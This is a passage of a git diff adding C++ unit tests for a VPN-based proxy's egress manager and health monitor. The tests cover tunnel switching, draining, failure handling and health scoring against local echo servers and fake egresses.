adjusted cfg. + void build() { + mgr = std::make_unique(io, cfg, selector.get(), + history.get(), nullptr); + mgr->set_egress_factory( + [this](const vpngate::Node &node, const vpngate::Remote &, + egress::EgressManager::NodeReadyHandler on_ready) + -> egress::EgressPtr { + const std::string id = node.id(); + auto it = fail_with.find(id); + if (it != fail_with.end()) { + auto ec = it->second; + asio::post(io, [on_ready, ec] { on_ready(ec, "test: refused"); }); + // Non-null: the failure is reported through on_ready, which is the + // path a real tunnel that comes up and then dies also takes. + return std::make_shared(id, io); + } + auto once = fail_once.find(id); + if (once != fail_once.end() && once->second > 0) { + once->second--; + asio::post(io, [on_ready] { + on_ready(make_error_code(Error::ResourceExhausted), + "test: address collision"); + }); + return std::make_shared(id, io); + } + auto e = std::make_shared(id, io); + e->on_shutdown = [this](const std::string &n) { + shut_down.push_back(n); + }; + asio::post(io, [on_ready] { on_ready({}, ""); }); + return e; + }); + mgr->set_on_promote([this](const egress::EgressPtr &old_e, + const egress::EgressPtr &new_e) { + promotions.emplace_back(old_e ? old_e->label() : "", new_e->label()); + }); + mgr->set_on_drain_expired([this](const egress::EgressPtr &e) { + drain_expired.push_back(e->label()); + }); + } + + std::error_code start() { + std::error_code got = make_error_code(Error::Internal); + bool done = false; + mgr->start([&](const std::error_code &ec) { + got = ec; + done = true; + }); + run_until(io, [&] { return done; }, 10s); + return got; + } +}; + +} // namespace + +// --------------------------------------------------------------------------- +// DirectEgress +// --------------------------------------------------------------------------- + +OVG_TEST(direct_egress_tcp_roundtrip) { + asio::io_context io; + EchoServer echo(io); + auto e = egress::DirectEgress::create(io, DnsConfig{}); + + netstack::TcpStreamPtr stream; + std::error_code connect_ec = make_error_code(Error::Internal); + bool connected = false; + e->async_connect_tcp( + io.get_executor(), + Endpoint(*IpAddress::parse("127.0.0.1"), echo.port()), 2000ms, + [&](const std::error_code &ec, netstack::TcpStreamPtr s) { + connect_ec = ec; + stream = std::move(s); + connected = true; + }); + CHECK(run_until(io, [&] { return connected; }, 3s)); + CHECK_EQ(connect_ec, std::error_code{}); + CHECK(stream != nullptr); + CHECK(stream->is_open()); + + const std::string msg = "hello egress"; + bool wrote = false; + stream->async_write(asio::buffer(msg), + [&](const std::error_code &ec, size_t n) { + CHECK_EQ(ec, std::error_code{}); + CHECK_EQ(n, msg.size()); + wrote = true; + }); + CHECK(run_until(io, [&] { return wrote; }, 3s)); + + char rbuf[64]; + size_t got = 0; + bool read_done = false; + stream->async_read_some(asio::buffer(rbuf), + [&](const std::error_code &ec, size_t n) { + CHECK_EQ(ec, std::error_code{}); + got = n; + read_done = true; + }); + CHECK(run_until(io, [&] { return read_done; }, 3s)); + CHECK_EQ(std::string(rbuf, got), msg); + + CHECK_EQ(stream->bytes_written(), msg.size()); + CHECK_EQ(stream->bytes_read(), msg.size()); + + auto st = e->stats(); + CHECK_EQ(st.tcp_opened, uint64_t{1}); + CHECK_EQ(st.tcp_failed, uint64_t{0}); + CHECK_EQ(st.tcp_active, int64_t{1}); + + // The active gauge counts live streams, not live handlers: it only drops when + // the object is actually destroyed. + stream.reset(); + settle(io); + CHECK_EQ(e->stats().tcp_active, int64_t{0}); + + echo.stop(); + settle(io); +} + +OVG_TEST(direct_egress_half_close_propagates) { + asio::io_context io; + EchoServer echo(io); + auto e = egress::DirectEgress::create(io, DnsConfig{}); + + netstack::TcpStreamPtr stream; + bool connected = false; + e->async_connect_tcp(io.get_executor(), + Endpoint(*IpAddress::parse("127.0.0.1"), echo.port()), + 2000ms, + [&](const std::error_code &ec, netstack::TcpStreamPtr s) { + CHECK_EQ(ec, std::error_code{}); + stream = std::move(s); + connected = true; + }); + CHECK(run_until(io, [&] { return connected; }, 3s)); + + // Our FIN makes the echo server's read fail, so it drops the connection and + // we see EOF -- the exact sequence a SOCKS5 relay must forward rather than + // treat as an error. + stream->shutdown_send(); + char rbuf[16]; + std::error_code read_ec; + bool read_done = false; + stream->async_read_some(asio::buffer(rbuf), + [&](const std::error_code &ec, size_t) { + read_ec = ec; + read_done = true; + }); + CHECK(run_until(io, [&] { return read_done; }, 3s)); + CHECK_EQ(read_ec, std::error_code(asio::error::eof)); + + echo.stop(); + settle(io); +} + +OVG_TEST(direct_egress_reports_connect_and_resolve_failures_separately) { + asio::io_context io; + auto e = egress::DirectEgress::create(io, DnsConfig{}); + + // Port 1 on loopback: nothing listens, and the RST is immediate. + std::error_code connect_ec; + bool done = false; + e->async_connect_tcp(io.get_executor(), + Endpoint(*IpAddress::parse("127.0.0.1"), 1), 2000ms, + [&](const std::error_code &ec, netstack::TcpStreamPtr s) { + connect_ec = ec; + CHECK(s == nullptr); + done = true; + }); + CHECK(run_until(io, [&] { return done; }, 5s)); + CHECK_NE(connect_ec, std::error_code{}); + CHECK_NE(connect_ec, std::error_code(make_error_code(Error::ResolveFailed))); + CHECK_EQ(e->stats().tcp_failed, uint64_t{1}); + CHECK_EQ(e->stats().tcp_opened, uint64_t{0}); + + // A name that cannot resolve must not be reported as a connect failure: the + // SOCKS5 reply code and the operator's debugging both depend on the + // difference. Some environments answer for .invalid anyway (a wildcard + // resolver, a captive DNS), and then there is nothing here to assert. + std::error_code resolve_ec; + bool resolved_anyway = false; + bool done2 = false; + e->async_resolve(io.get_executor(), "no-such-host.invalid", + [&](const std::error_code &ec, std::vector a) { + resolve_ec = ec; + resolved_anyway = !ec && !a.empty(); + done2 = true; + }); + if (!run_until(io, [&] { return done2; }, 10s)) { + SKIP("resolver did not answer for .invalid within 10s"); + } + if (resolved_anyway) SKIP("this environment resolves .invalid"); + CHECK_EQ(resolve_ec, std::error_code(make_error_code(Error::ResolveFailed))); + + std::error_code by_name_ec; + bool done3 = false; + e->async_connect_tcp(io.get_executor(), Endpoint("no-such-host.invalid", 80), + 2000ms, + [&](const std::error_code &ec, netstack::TcpStreamPtr s) { + by_name_ec = ec; + CHECK(s == nullptr); + done3 = true; + }); + CHECK(run_until(io, [&] { return done3; }, 10s)); + CHECK_EQ(by_name_ec, std::error_code(make_error_code(Error::ResolveFailed))); +} + +OVG_TEST(direct_egress_udp_roundtrip) { + asio::io_context io; + UdpEcho peer(io); + auto e = egress::DirectEgress::create(io, DnsConfig{}); + + netstack::UdpSocketPtr sock; + bool bound = false; + e->async_bind_udp(io.get_executor(), + [&](const std::error_code &ec, netstack::UdpSocketPtr s) { + CHECK_EQ(ec, std::error_code{}); + sock = std::move(s); + bound = true; + }); + CHECK(run_until(io, [&] { return bound; }, 3s)); + CHECK(sock != nullptr); + CHECK_EQ(e->stats().udp_active, int64_t{1}); + + char rbuf[64]; + size_t got = 0; + Endpoint from; + bool received = false; + sock->async_receive_from(asio::buffer(rbuf), + [&](const std::error_code &ec, size_t n, + const Endpoint &f) { + CHECK_EQ(ec, std::error_code{}); + got = n; + from = f; + received = true; + }); + + const std::string msg = "datagram"; + bool sent = false; + sock->async_send_to(asio::buffer(msg), + Endpoint(*IpAddress::parse("127.0.0.1"), peer.port()), + [&](const std::error_code &ec, size_t n) { + CHECK_EQ(ec, std::error_code{}); + CHECK_EQ(n, msg.size()); + sent = true; + }); + CHECK(run_until(io, [&] { return sent && received; }, 3s)); + CHECK_EQ(std::string(rbuf, got), msg); + CHECK_EQ(from.port(), peer.port()); + + sock.reset(); + settle(io); + CHECK_EQ(e->stats().udp_active, int64_t{0}); + peer.stop(); + settle(io); +} + +OVG_TEST(direct_egress_draining_refuses_new_work) { + asio::io_context io; + EchoServer echo(io); + auto e = egress::DirectEgress::create(io, DnsConfig{}); + + e->begin_drain(); + CHECK_EQ(e->state(), egress::EgressState::Draining); + CHECK(!e->usable()); + + // Draining is not "gone": the distinction is what tells the SOCKS5 layer to + // retry on the new egress rather than report a failure to the client. + std::error_code ec1; + bool done1 = false; + e->async_connect_tcp(io.get_executor(), + Endpoint(*IpAddress::parse("127.0.0.1"), echo.port()), + 1000ms, + [&](const std::error_code &ec, netstack::TcpStreamPtr) { + ec1 = ec; + done1 = true; + }); + CHECK(run_until(io, [&] { return done1; }, 2s)); + CHECK_EQ(ec1, std::error_code(make_error_code(Error::EgressDraining))); + + bool shut = false; + e->shutdown([&] { shut = true; }); + CHECK(run_until(io, [&] { return shut; }, 2s)); + CHECK_EQ(e->state(), egress::EgressState::Down); + + std::error_code ec2; + bool done2 = false; + e->async_bind_udp(io.get_executor(), + [&](const std::error_code &ec, netstack::UdpSocketPtr) { + ec2 = ec; + done2 = true; + }); + CHECK(run_until(io, [&] { return done2; }, 2s)); + CHECK_EQ(ec2, std::error_code(make_error_code(Error::EgressGone))); + + echo.stop(); + settle(io); +} + +// --------------------------------------------------------------------------- +// EgressManager: direct mode +// --------------------------------------------------------------------------- + +OVG_TEST(manager_direct_mode_needs_no_selector) { + asio::io_context io; + Config cfg; + cfg.egress_mode = "direct"; + egress::EgressManager mgr(io, cfg, nullptr, nullptr, nullptr); + + std::error_code start_ec = make_error_code(Error::Internal); + bool started = false; + mgr.start([&](const std::error_code &ec) { + start_ec = ec; + started = true; + }); + CHECK(run_until(io, [&] { return started; }, 3s)); + CHECK_EQ(start_ec, std::error_code{}); + + auto e = mgr.acquire(); + CHECK(e != nullptr); + CHECK(e->usable()); + CHECK_EQ(e->label(), std::string("direct")); + + // There is nothing to switch to, and pretending otherwise would mean + // silently dropping sessions for no gain. + CHECK(!mgr.request_switch(egress::SwitchReason::Manual, /*force=*/true)); + + bool shut = false; + mgr.shutdown([&] { shut = true; }); + CHECK(run_until(io, [&] { return shut; }, 3s)); + CHECK(mgr.acquire() == nullptr); +} + +// --------------------------------------------------------------------------- +// EgressManager: make-before-break +// --------------------------------------------------------------------------- + +OVG_TEST(manager_promotes_without_touching_existing_sessions) { + ManagerFixture fx; + fx.cfg.switching.drain_grace = 30s; // long enough that nothing expires here + fx.build(); + CHECK_EQ(fx.start(), std::error_code{}); + + auto first = fx.mgr->acquire(); + CHECK(first != nullptr); + CHECK(first->usable()); + + // This is a session: it holds the egress for its whole life, and that + // reference is the only thing keeping the old tunnel alive after the switch. + auto session = fx.mgr->acquire(); + CHECK_EQ(session.get(), first.get()); + + CHECK(fx.mgr->request_switch(egress::SwitchReason::Manual)); + CHECK(run_until( + fx.io, [&] { return fx.mgr->acquire() != nullptr && + fx.mgr->acquire().get() != first.get(); }, + 10s)); + + auto second = fx.mgr->acquire(); + CHECK(second != nullptr); + CHECK_NE(second->label(), first->label()); + + // The old egress refuses new work but was not torn down: the session on it is + // still connected, which is the entire point of make-before-break. + CHECK_EQ(first->state(), egress::EgressState::Draining); + CHECK_EQ(std::static_pointer_cast(first)->shutdowns.load(), 0); + CHECK_EQ(fx.mgr->status().draining, size_t{1}); + + // The callback fired before the drain started, with both egresses live, so + // the SOCKS5 layer can re-home what is safe to re-home. + CHECK_EQ(fx.promotions.size(), size_t{2}); // startup + this switch + CHECK_EQ(fx.promotions.back().first, first->label()); + CHECK_EQ(fx.promotions.back().second, second->label()); + + // Session ends. use_count() falling to the manager's own reference is what + // completes the drain -- there is no session table to consult. Which is also + // why the test must let go of every reference of its own first. + const std::string old_label = first->label(); + std::weak_ptr weak_old = first; + session.reset(); + first.reset(); + CHECK(run_until(fx.io, [&] { return !fx.shut_down.empty(); }, 5s)); + CHECK_EQ(fx.shut_down.back(), old_label); + CHECK_EQ(fx.mgr->status().draining, size_t{0}); + CHECK(fx.drain_expired.empty()); // it finished, it did not time out + // And nothing kept it alive: a leak here would be a tunnel that never closes. + CHECK(weak_old.expired()); +} + +OVG_TEST(manager_closes_stragglers_when_the_grace_window_expires) { + ManagerFixture fx; + fx.cfg.switching.drain_grace = 150ms; + fx.build(); + CHECK_EQ(fx.start(), std::error_code{}); + + auto first = fx.mgr->acquire(); + CHECK(first != nullptr); + auto stuck_session = first; // never released: a long-lived download + + CHECK(fx.mgr->request_switch(egress::SwitchReason::Unhealthy)); + CHECK(run_until( + fx.io, [&] { auto a = fx.mgr->acquire(); + return a && a.get() != first.get(); }, 10s)); + + // The requirement's own fallback: sessions that cannot be carried across are + // dropped rather than kept alive on a node we have decided is bad. + CHECK(run_until(fx.io, [&] { return !fx.drain_expired.empty(); }, 5s)); + CHECK_EQ(fx.drain_expired.front(), first->label()); + CHECK_EQ(std::static_pointer_cast(first)->shutdowns.load(), 1); + CHECK_EQ(first->state(), egress::EgressState::Down); + CHECK_EQ(fx.mgr->status().draining, size_t{0}); + (void)stuck_session; +} + +OVG_TEST(manager_hard_mode_closes_everything_at_promotion) { + ManagerFixture fx; + fx.cfg.switching.mode = SwitchConfig::Mode::Hard; + fx.build(); + CHECK_EQ(fx.start(), std::error_code{}); + + auto first = fx.mgr->acquire(); + CHECK(first != nullptr); + auto session = first; + + CHECK(fx.mgr->request_switch(egress::SwitchReason::Manual)); + CHECK(run_until( + fx.io, [&] { auto a = fx.mgr->acquire(); + return a && a.get() != first.get(); }, 10s)); + + // No drain at all: the old egress is down before the switch is reported, and + // the SOCKS5 layer was told to close what was on it. + CHECK_EQ(first->state(), egress::EgressState::Down); + CHECK_EQ(fx.mgr->status().draining, size_t{0}); + CHECK_EQ(fx.drain_expired.size(), size_t{1}); + CHECK_EQ(fx.drain_expired.front(), first->label()); + (void)session; +} + +OVG_TEST(manager_walks_the_candidate_list_when_one_fails) { + ManagerFixture fx; + // Refuse the two highest-scoring nodes; the third must still bring the + // service up. A failure here costs nothing, because nothing was promoted. + fx.fail_with[fx.feed->ids[0]] = make_error_code(Error::TunnelSetupFailed); + fx.fail_with[fx.feed->ids[1]] = make_error_code(Error::Timeout); + fx.build(); + CHECK_EQ(fx.start(), std::error_code{}); + + auto e = fx.mgr->acquire(); + CHECK(e != nullptr); + CHECK_EQ(e->label(), fx.feed->ids[2]); + CHECK_EQ(fx.mgr->status().switch_failures, uint64_t{0}); +} + +OVG_TEST(manager_gives_up_startup_after_the_retry_budget) { + ManagerFixture fx; + for (const auto &id : fx.feed->ids) + fx.fail_with[id] = make_error_code(Error::TunnelSetupFailed); + fx.build(); + + // Reporting the failure rather than retrying forever: a service that never + // finishes starting is harder to operate than one that exits with a reason. + const auto ec = fx.start(); + CHECK_EQ(ec, std::error_code(make_error_code(Error::TunnelSetupFailed))); + CHECK(fx.mgr->acquire() == nullptr); + CHECK_GT(fx.mgr->status().switch_failures, uint64_t{0}); +} + +OVG_TEST(manager_waits_for_the_directory_instead_of_spending_startup_rounds) { + // Regression: the first selection normally loses the race with the first + // directory fetch by about a second. Charging that to the backoff ladder cost + // a full backoff -- and four of them exhausted the startup budget, so a + // process whose API call took a few seconds gave up and exited with + // "no node came up after 4 rounds" while the node list was still in flight. + // Nothing had been attempted. It is a wait, not a failure. + std::string cache; + ManagerFixture fx([&](ManagerFixture &f) { + // No cache on disk and nothing served yet: a genuinely cold start. + cache = f.feed->path + ".cold"; + std::remove(cache.c_str()); + f.cfg.vpngate.cache_path = cache; + f.cfg.vpngate.api_urls = {f.feed_srv.url()}; + // Small enough that the buggy path would have burned all four rounds + // (5 + 10 + 10 + 10 ms) long before the check below. + f.cfg.switching.backoff_initial = 5ms; + f.cfg.switching.backoff_max = 10ms; + }); + fx.build(); + + std::error_code got = make_error_code(Error::Internal); + bool done = false; + fx.mgr->start([&](const std::error_code &ec) { + got = ec; + done = true; + }); + + // Still starting, with nothing charged against it. + CHECK(!run_until(fx.io, [&] { return done; }, 200ms)); + CHECK_EQ(fx.mgr->status().switch_failures, uint64_t{0}); + // And reachable: the wait releases the phase, so the tunnel-down watchdog and + // an admin switch are not told a selection is in progress for the whole wait. + CHECK(fx.mgr->status().phase == egress::SwitchPhase::Idle); + + fx.feed_srv.arm(feed_csv(fx.echo.port())); + fx.store->refresh_now(nullptr); + + // The poll is on a one-second cadence, so allow a couple of them. + CHECK(run_until(fx.io, [&] { return done; }, 4s)); + CHECK_EQ(got, std::error_code{}); + CHECK_EQ(fx.promotions.size(), size_t{1}); + CHECK_EQ(fx.mgr->status().switch_failures, uint64_t{0}); + CHECK(fx.mgr->acquire() != nullptr); + + std::remove(cache.c_str()); +} + +OVG_TEST(manager_address_collision_degrades_to_a_hard_switch) { + ManagerFixture fx; + fx.cfg.switching.drain_grace = 30s; + fx.build(); + CHECK_EQ(fx.start(), std::error_code{}); + + auto first = fx.mgr->acquire(); + CHECK(first != nullptr); + auto session = first; + + // Every remaining node reports the collision once. lwIP cannot tell two + // tunnels pushing the same private address apart (netstack/lwip_stack.h), so + // make-before-break is simply unavailable and the switch must degrade rather + // than stall. + for (const auto &id : fx.feed->ids) fx.fail_once[id] = 1; + + CHECK(fx.mgr->request_switch(egress::SwitchReason::Unhealthy)); + CHECK(run_until( + fx.io, [&] { auto a = fx.mgr->acquire(); + return a && a.get() != first.get(); }, 15s)); + + // The old egress was closed to make room, and the layer above was told so it + // could close the sessions that were on it. + CHECK_EQ(first->state(), egress::EgressState::Down); + CHECK_GT(fx.drain_expired.size(), size_t{0}); + CHECK_EQ(fx.drain_expired.front(), first->label()); + CHECK(fx.mgr->acquire()->usable()); + (void)session; +} + +OVG_TEST(manager_bounds_the_number_of_draining_egresses) { + ManagerFixture fx; + fx.cfg.switching.drain_grace = 30s; + fx.cfg.switching.max_draining = 1; + fx.build(); + CHECK_EQ(fx.start(), std::error_code{}); + + auto a = fx.mgr->acquire(); + auto session_a = a; // held: a would otherwise drain immediately + CHECK(fx.mgr->request_switch(egress::SwitchReason::Manual)); + CHECK(run_until(fx.io, [&] { auto x = fx.mgr->acquire(); + return x && x.get() != a.get(); }, 10s)); + + auto b = fx.mgr->acquire(); + auto session_b = b; + CHECK_EQ(fx.mgr->status().draining, size_t{1}); + + CHECK(fx.mgr->request_switch(egress::SwitchReason::Manual)); + CHECK(run_until(fx.io, [&] { auto x = fx.mgr->acquire(); + return x && x.get() != b.get(); }, 10s)); + + // Each draining tunnel still costs an OpenVPN session, a netif and its + // buffers; without a cap a flapping node would accumulate them until memory + // ran out. The oldest goes, even though its grace window had not expired. + CHECK_EQ(fx.mgr->status().draining, size_t{1}); + CHECK_EQ(a->state(), egress::EgressState::Down); + CHECK_EQ(b->state(), egress::EgressState::Draining); + (void)session_a; + (void)session_b; +} + +OVG_TEST(manager_suppresses_flapping_but_honours_force) { + ManagerFixture fx; + fx.cfg.switching.min_interval = 60s; + fx.build(); + CHECK_EQ(fx.start(), std::error_code{}); + CHECK(fx.mgr->acquire() != nullptr); + + // A health monitor that fires every 15s must not be able to switch every 15s. + CHECK(!fx.mgr->request_switch(egress::SwitchReason::Unhealthy)); + CHECK(!fx.mgr->request_switch(egress::SwitchReason::BetterCandidate)); + + // The admin endpoint can override it, because an operator asking for a switch + // knows something the anti-flap timer does not. + CHECK(fx.mgr->request_switch(egress::SwitchReason::Manual, /*force=*/true)); + auto first = fx.mgr->acquire(); + CHECK(run_until(fx.io, [&] { auto x = fx.mgr->acquire(); + return x && x.get() != first.get(); }, 10s)); +} + +OVG_TEST(manager_opportunistic_switch_requires_a_better_score) { + ManagerFixture fx; + // A challenger has to beat the incumbent by a wide margin. Since all three + // synthetic nodes probe the same loopback listener, none can, so an + // opportunistic request must decide to stay put -- and must not be recorded + // as a failure, because nothing failed. + fx.cfg.switching.improvement_margin = 5.0; + fx.build(); + CHECK_EQ(fx.start(), std::error_code{}); + + auto before = fx.mgr->acquire(); + CHECK(before != nullptr); + CHECK(fx.mgr->request_switch(egress::SwitchReason::BetterCandidate)); + settle(fx.io, 400ms); + + CHECK_EQ(fx.mgr->acquire().get(), before.get()); + CHECK_EQ(fx.mgr->status().switch_failures, uint64_t{0}); + CHECK_EQ(fx.mgr->status().phase, egress::SwitchPhase::Idle); + + // Unhealthy is not opportunistic: when the current node is bad, anything that + // connects is an improvement and the margin does not apply. + CHECK(fx.mgr->request_switch(egress::SwitchReason::Unhealthy)); + CHECK(run_until(fx.io, [&] { auto x = fx.mgr->acquire(); + return x && x.get() != before.get(); }, 10s)); +} + +OVG_TEST(manager_never_hands_out_a_draining_egress) { + ManagerFixture fx; + fx.cfg.switching.drain_grace = 30s; + fx.build(); + CHECK_EQ(fx.start(), std::error_code{}); + + auto first = fx.mgr->acquire(); + auto session = first; + CHECK(fx.mgr->request_switch(egress::SwitchReason::Manual)); + CHECK(run_until(fx.io, [&] { auto x = fx.mgr->acquire(); + return x && x.get() != first.get(); }, 10s)); + + // A hundred new sessions all land on the new egress. If any of them got the + // draining one, its drain would never finish. + for (int i = 0; i < 100; ++i) { + auto e = fx.mgr->acquire(); + CHECK(e != nullptr); + CHECK_NE(e.get(), first.get()); + CHECK(e->usable()); + } + (void)session; +} diff --git a/tests/test_health.cpp b/tests/test_health.cpp new file mode 100644 index 0000000..9d3e239 --- /dev/null +++ b/tests/test_health.cpp @@ -0,0 +1,433 @@ +// Health monitor and switch controller. +// +// The monitor is scored arithmetic over an egress it does not own, so the whole +// module can be exercised against a fake egress with no tunnel, no sockets and +// no waiting: the probe outcome, the byte counters and the connect ledger are +// all set directly by the test. What is worth testing here is the scoring +// policy, not asio -- specifically the three things that are easy to get +// backwards: +// +// * a signal that is *missing* (the direct egress keeps no byte counters) +// must renormalise out of the score rather than count as a failure; +// * a failed probe must not be averaged back into "fine" by healthy-looking +// counters around it; +// * a sustained-unhealthy report fires once per degradation, not once per +// round, or every interval queues another switch request for a decision +// already taken. +#include + +#include +#include +#include +#include +#include + +#include "common/config.h" +#include "common/error.h" +#include "egress/egress.h" +#include "egress/egress_manager.h" +#include "harness.h" +#include "health/health_monitor.h" +#include "health/switch_controller.h" + +using namespace ovg; +using namespace std::chrono_literals; + +namespace { + +bool run_until(asio::io_context &io, const std::function &pred, + std::chrono::milliseconds limit) { + const auto deadline = std::chrono::steady_clock::now() + limit; + while (std::chrono::steady_clock::now() < deadline) { + if (pred()) return true; + io.run_for(5ms); + io.restart(); + } + return pred(); +} + +// An egress whose every health input is a public member. `connect_result` +// decides what the probe sees; `stats_` is whatever the test wants reported. +class ProbeEgress final : public egress::Egress { + public: + explicit ProbeEgress(asio::io_context &io) : io_(io), label_("fake-node") { + stats_.node_id = "fake-node"; + stats_.proto = "fake"; + } + + void async_connect_tcp(const asio::any_io_executor &ex, const Endpoint &ep, + Millis, ConnectHandler h) override { + probes.fetch_add(1); + last_target = ep.to_string(); + if (hang) return; // handler dropped on purpose: exercises the guard timer + auto ec = connect_ec; + asio::post(ex, [h = std::move(h), ec]() mutable { h(ec, nullptr); }); + } + void async_bind_udp(const asio::any_io_executor &ex, + UdpBindHandler h) override { + asio::post(ex, [h = std::move(h)]() mutable { + h(make_error_code(Error::NotSupported), nullptr); + }); + } + void async_resolve(const asio::any_io_executor &ex, const std::string &, + ResolveHandler h) override { + asio::post(ex, [h = std::move(h)]() mutable { + h(make_error_code(Error::NotSupported), {}); + }); + } + + egress::EgressState state() const override { return state_.load(); } + egress::EgressStats stats() const override { return stats_; } + std::string detail() const override { return detail_; } + void begin_drain() override {} + void shutdown(std::function on_done) override { + state_.store(egress::EgressState::Down); + if (on_done) asio::post(io_, std::move(on_done)); + } + const std::string &label() const override { return label_; } + + std::error_code connect_ec{}; + bool hang = false; + std::atomic probes{0}; + std::string last_target; + std::atomic state_{egress::EgressState::Ready}; + egress::EgressStats stats_; + std::string detail_; + + private: + asio::io_context &io_; + std::string label_; +}; + +// A monitor over one fake egress, with the timing wound down so a "sustained" +// verdict takes milliseconds instead of a minute. +// +// The config is copied into the monitor at construction, so `tweak` is where a +// test changes it -- there is no setter afterwards, by design. +struct Fixture { + asio::io_context io; + std::shared_ptr eg = std::make_shared(io); + HealthConfig cfg; + std::unique_ptr mon; + std::vector unhealthy; + bool provide = true; + + explicit Fixture(int windows = 2, + const std::function &tweak = {}) { + cfg.interval = 20ms; + cfg.probe_timeout = 200ms; + cfg.unhealthy_windows = windows; + cfg.probe_domain = "probe.invalid"; + cfg.probe_port = 8080; + if (tweak) tweak(cfg); + mon = std::make_unique( + io, cfg, [this]() -> egress::EgressPtr { + return provide ? eg : nullptr; + }); + mon->set_on_unhealthy( + [this](const std::string &why) { unhealthy.push_back(why); }); + } + ~Fixture() { + mon->stop(); + io.run_for(50ms); + } + + // Waits for `n` completed rounds rather than for wall-clock time. + bool rounds(uint64_t n, std::chrono::milliseconds limit = 3s) { + return run_until(io, [this, n] { return mon->rounds() >= n; }, limit); + } + // Waits for `n` more rounds than have already happened. + bool more_rounds(uint64_t n, std::chrono::milliseconds limit = 3s) { + return rounds(mon->rounds() + n, limit); + } +}; + +} // namespace + +// --------------------------------------------------------------------------- +// Scoring +// --------------------------------------------------------------------------- + +OVG_TEST(health_scores_a_working_egress_healthy) { + Fixture f; + f.mon->start(); + CHECK(f.rounds(1)); + + const auto s = f.mon->last(); + CHECK(s.egress_present); + CHECK(s.tunnel_up); + CHECK(s.probe_ok); + CHECK(s.healthy); + // Three terms available (rtt, connect, loss), all near perfect against a fake + // that answers instantly. Anything below 0.9 means a term scored a missing + // input as a bad one. + CHECK_GT(s.score, 0.9); + CHECK(f.unhealthy.empty()); +} + +OVG_TEST(health_probes_the_configured_host_and_port) { + Fixture f; + f.mon->start(); + CHECK(f.rounds(1)); + // The probe target is a TCP handshake to probe_domain:probe_port. A DNS + // lookup here would be answered from cache without crossing the tunnel. + CHECK_EQ(f.eg->last_target, std::string("probe.invalid:8080")); +} + +OVG_TEST(health_renormalises_around_a_missing_stall_signal) { + Fixture f; + f.mon->start(); + CHECK(f.rounds(1)); + + // No byte counters at all -- the direct egress's situation. + const auto without = f.mon->last(); + CHECK(!without.stall_known); + + // Now give it traffic, which makes the stall term available and *not* stalled. + f.eg->stats_.tun_bytes_out = 4096; + f.eg->stats_.tcp_active = 1; + CHECK(f.more_rounds(2)); + + const auto with = f.mon->last(); + CHECK(with.stall_known); + // Adding a *satisfied* term must not move a healthy score materially. If the + // missing term had been scoring zero, this would jump by ~0.2. + CHECK_NEAR(with.score, without.score, 0.05); +} + +OVG_TEST(health_caps_the_score_when_the_probe_fails) { + Fixture f; + // Everything else looks perfect: no drops, no failed connects, bytes moving. + f.eg->stats_.tx_packets = 1000; + f.eg->stats_.rx_packets = 1000; + f.eg->stats_.tcp_opened = 100; + f.eg->connect_ec = make_error_code(Error::Timeout); + + f.mon->start(); + CHECK(f.rounds(1)); + + const auto s = f.mon->last(); + CHECK(!s.probe_ok); + CHECK(!s.healthy); + // The hard override, not the blend: healthy counters must not average a dead + // tunnel back up to passing. + CHECK(s.score <= f.cfg.min_score / 2.0); + CHECK(s.verdict.find("probe failed") != std::string::npos); +} + +OVG_TEST(health_caps_the_score_on_a_high_connect_failure_rate) { + Fixture f; + f.eg->stats_.tcp_opened = 10; + f.eg->stats_.tcp_failed = 90; // 90% failing, ceiling is 50% + + f.mon->start(); + CHECK(f.rounds(1)); + + const auto s = f.mon->last(); + CHECK(s.probe_ok); // the probe itself was fine + CHECK(!s.healthy); + CHECK(s.score <= f.cfg.min_score / 2.0); + CHECK(s.verdict.find("connect failure rate") != std::string::npos); +} + +OVG_TEST(health_reports_a_stall_only_with_streams_in_flight) { + Fixture f(2, [](HealthConfig &c) { c.stall_threshold = 1ms; }); + + // Bytes have moved once, so the signal exists, and now they stop. + f.eg->stats_.tun_bytes_out = 1024; + f.mon->start(); + CHECK(f.rounds(2)); + + // Idle: no live streams, so a frozen counter is not a stall. A proxy with no + // clients is the normal overnight state and must not switch nodes over it. + CHECK(f.mon->last().stall_known); + CHECK_EQ(f.mon->last().stalled_ms, int64_t(0)); + + // Same frozen counter, but now something is waiting on it. + f.eg->stats_.tcp_active = 3; + CHECK(f.more_rounds(3)); + const auto s = f.mon->last(); + CHECK(s.stall_known); + CHECK_GT(s.stalled_ms, int64_t(0)); + CHECK(s.verdict.find("no byte progress") != std::string::npos); +} + +// --------------------------------------------------------------------------- +// Availability of the egress itself +// --------------------------------------------------------------------------- + +OVG_TEST(health_records_a_sample_when_there_is_no_egress) { + Fixture f; + f.provide = false; + f.mon->start(); + CHECK(f.rounds(1)); + + const auto s = f.mon->last(); + CHECK(!s.egress_present); + CHECK(!s.tunnel_up); + CHECK(!s.healthy); + CHECK_EQ(s.score, 0.0); + CHECK_EQ(s.egress_label, std::string("")); +} + +OVG_TEST(health_does_not_probe_an_egress_that_is_not_ready) { + Fixture f; + f.eg->state_.store(egress::EgressState::Connecting); + f.eg->detail_ = "handshaking"; + f.mon->start(); + CHECK(f.rounds(2)); + + // Probing a tunnel that is known to be down measures the timeout and nothing + // else; the verdict is already known. + CHECK_EQ(f.eg->probes.load(), 0); + const auto s = f.mon->last(); + CHECK(s.egress_present); + CHECK(!s.tunnel_up); + CHECK(!s.healthy); + CHECK(s.verdict.find("handshaking") != std::string::npos); +} + +OVG_TEST(health_gives_up_on_a_probe_whose_handler_never_returns) { + Fixture f(2, [](HealthConfig &c) { c.probe_timeout = 50ms; }); + f.eg->hang = true; // handler simply dropped, as a wedged backend would + + f.mon->start(); + // The guard fires at probe_timeout + 2s. Without it the monitor wedges here + // forever, having handed its only in-flight slot to a handler that is never + // coming back -- and a monitor that has stopped sampling reports the last + // thing it saw, which was healthy. + CHECK(f.rounds(1, 5s)); + const auto s = f.mon->last(); + CHECK(!s.probe_ok); + CHECK(s.verdict.find("abandoned") != std::string::npos); + + // And it recovers: the slot is released, so the next round runs. + f.eg->hang = false; + CHECK(f.rounds(2, 5s)); + CHECK(f.mon->last().probe_ok); +} + +// --------------------------------------------------------------------------- +// Sustained-unhealthy reporting +// --------------------------------------------------------------------------- + +OVG_TEST(health_reports_unhealthy_only_after_consecutive_windows) { + Fixture f(3); + f.eg->connect_ec = make_error_code(Error::Timeout); + f.mon->start(); + + CHECK(f.rounds(2)); + // Two bad windows out of three required: one bad sample on a volunteer tunnel + // in another country is weather, not a failure. + CHECK(f.unhealthy.empty()); + + CHECK(f.rounds(3)); + CHECK(run_until(f.io, [&] { return !f.unhealthy.empty(); }, 2s)); + 